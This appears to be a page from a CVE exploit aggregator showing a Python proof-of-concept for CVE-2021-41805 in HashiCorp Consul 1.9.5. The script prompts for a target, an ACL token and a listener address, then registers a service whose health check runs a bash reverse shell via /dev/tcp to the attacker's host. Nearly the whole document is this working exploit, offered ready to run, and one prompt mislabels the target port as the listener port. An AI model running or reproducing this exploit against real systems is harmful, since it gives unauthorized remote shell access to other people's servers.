4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

""" 
Exploit Title: Consul 1.9.5 - Remote Code Execution (RCE)
CVE-2021-41805
"""
import requests, sys

# Get the target and listener info from the user
def getInput():
    rhost = input("\n[\033[1;37m+\033[1;37m] Enter the target: ")
    rport = input("\n[\033[1;37m+\033[1;37m] Enter the listener port: ")
    lhost = input("\n[\033[1;37m+\033[1;37m] Enter the listener IP: ")
    lport = input("\n[\033[1;37m+\033[1;37m] Enter the listener port: ")
    acl_token = input("\n[\033[1;37m+\033[1;37m] Enter the ACL token: ")
    return rhost, rport, lhost, lport, acl_token

# Send the request to the target and get connection
def exploit():
    rhost,rport,lhost,lport,acl_token = getInput()
    target = f"http://{rhost}:{rport}/v1/agent/service/register"
    headers = {"X-Consul-Token": acl_token}
    json = {
        "Address": "127.0.0.1",
        "check": {
            "Args": [
                "/bin/bash", "-c", f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
            ],
            "interval": "10s",
            "Timeout": "864000s",
        },
        "ID": "test",
        "Name": "test",
        "Port": 80
    }
    
    try:
        requests.put(target, headers=headers, json=json)
        print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener......\n")
    except:
        print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection info and try again.....\n")
        exit(1)

try:    
    exploit()
except KeyboardInterrupt:
    print("\n[\033[1;31m-\033[1;37m] Exiting.....\n")